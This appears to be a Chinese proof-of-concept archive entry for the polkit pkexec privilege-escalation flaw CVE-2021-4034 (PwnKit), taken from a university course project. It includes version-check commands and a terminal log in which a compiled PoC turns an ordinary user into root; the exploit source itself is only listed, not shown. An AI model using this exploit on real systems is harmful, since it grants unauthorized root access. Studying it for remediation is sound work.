关联漏洞
标题：
polkit 缓冲区错误漏洞
(CVE-2021-4034)
描述：polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。
描述
Software Vulnerabilities and mitigation university course, to show exploitation and remediation caused by this vulnerability
介绍
# PwnKit-Local-Privilege-Escalation-Vulnerability-Discovered-in-polkit-s-pkexec-CVE-2021-4034-
Software Vulnerabilities and mitigation university project, to show exploitation and remediation caused by this vulnerability.
We used for this experiment Ubunto version 16.04 LTS, as well and Debian 10.1.0 which will be shown in the experiment.
setting up the environment was essentail since you need always to verify the version you work on to be sure it's vulenrable or not.
checking commands used : dpkg -l | grep polkit, pkexec --version
# CVE-2021-4034
PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
# PoC
Verified on Debian 10 and Ubunto 16.0.4
```
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
文件快照
[4.0K] /data/pocs/cf8cd9d6df4f030652d6f3ff31bf98802465158d
├── [2.6K] exploit.c
└── [1.3K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。